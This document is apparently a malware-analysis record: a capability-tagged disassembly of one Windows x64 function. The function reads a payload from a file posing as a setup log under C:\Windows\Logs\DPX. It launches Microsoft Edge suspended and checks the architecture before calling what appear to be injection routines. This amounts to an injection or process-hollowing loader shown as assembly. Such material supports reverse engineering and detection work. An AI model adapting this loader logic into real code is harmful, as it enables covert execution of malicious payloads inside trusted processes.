Function at 0x1400fa65f
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x14015de30
push rbp
push rsi
push rdi
sub rsp, 0x4c0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xbc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x141206200]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14122924e]
call fcn.1400fd2fb
nop
lea rax, str.C:WindowsLogsDPX_setuparr.log
mov qword [rbp + 8], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 8]
call fcn.1400fb16d
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14015dea3
mov eax, 0xffffffff
jmp 0x14015e2e6
mov rcx, qword [rbp + 0x48]
call fcn.1400fcd38
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x14015ded5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.1400fb5aa
nop
mov dword [rbp + 0x90], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x118]
call fcn.1400fb5aa
nop
lea rax, [rbp + 0x118]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jne 0x14015df7f
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
lea rdx, [rbp + 0x164]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
cmp dword [rbp + 0x164], 0
je 0x14015e026
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x3e8]
call fcn.1400f9778
lea rcx, [rbp + 0x3b8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x3b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x14015e009
cmp qword [rbp + 0x188], 0
jne 0x14015e024
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
jmp 0x14015e097
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x448]
call fcn.1400f872e
lea rcx, [rbp + 0x418]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x418]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x14015e07c
cmp qword [rbp + 0x188], 0
jne 0x14015e097
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
mov rcx, qword [rbp + 0x48]
call fcn.1400fcb35
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0
je 0x14015e0b8
cmp dword [rbp + 0x164], 0
je 0x14015e0ca
cmp dword [rbp + 0x1b4], 0
jne 0x14015e0d4
cmp dword [rbp + 0x164], 0
je 0x14015e0d4
mov eax, 0xffffffff
jmp 0x14015e2e6
cmp dword [rbp + 0x1b4], 0
je 0x14015e0ee
mov rcx, qword [rbp + 0x48]
call fcn.1400f655a
mov dword [rbp + 0x1d4], eax
jmp 0x14015e0fd
mov rcx, qword [rbp + 0x48]
call fcn.1400f7117
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
jne 0x14015e121
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
cmp dword [rbp + 0x164], 0
je 0x14015e145
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.1400fada8
mov dword [rbp + 0x1f4], eax
jmp 0x14015e15e
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.1400fd666
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xffffffff
jne 0x14015e182
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
mov eax, dword [rbp + 0x1f4]
cmp dword [rbp + 0x1d4], eax
je 0x14015e1ab
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f79ff
nop
mov eax, 0xffffffff
jmp 0x14015e2e6
cmp dword [rbp + 0x1b4], 0
je 0x14015e1c5
mov rcx, qword [rbp + 0x48]
call fcn.1400fc680
mov dword [rbp + 0x214], eax
jmp 0x14015e1d4
mov rcx, qword [rbp + 0x48]
call fcn.1400f8e45
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x1b4], 0
je 0x14015e1fa
cmp dword [rbp + 0x214], 0
jne 0x14015e1fa
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f8e09
test eax, eax
jne 0x14015e26c
cmp dword [rbp + 0x1b4], 0
je 0x14015e220
cmp dword [rbp + 0x214], 0
je 0x14015e220
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f7e55
test eax, eax
jne 0x14015e26c
cmp dword [rbp + 0x1b4], 0
jne 0x14015e246
cmp dword [rbp + 0x214], 0
jne 0x14015e246
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f6d02
test eax, eax
jne 0x14015e26c
cmp dword [rbp + 0x1b4], 0
jne 0x14015e281
cmp dword [rbp + 0x214], 0
je 0x14015e281
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f9de5
test eax, eax
je 0x14015e281
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400f92ff
nop
xor eax, eax
jmp 0x14015e2e6
cmp qword [rbp + 0x48], 0
je 0x14015e29e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x120], 0
je 0x14015e2b6
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x118], 0
je 0x14015e2e1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140308990]
call fcn.1400fbf05
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400f976e
lea rsp, [rbp + 0x470]
pop rdi
pop rsi
pop rbp
ret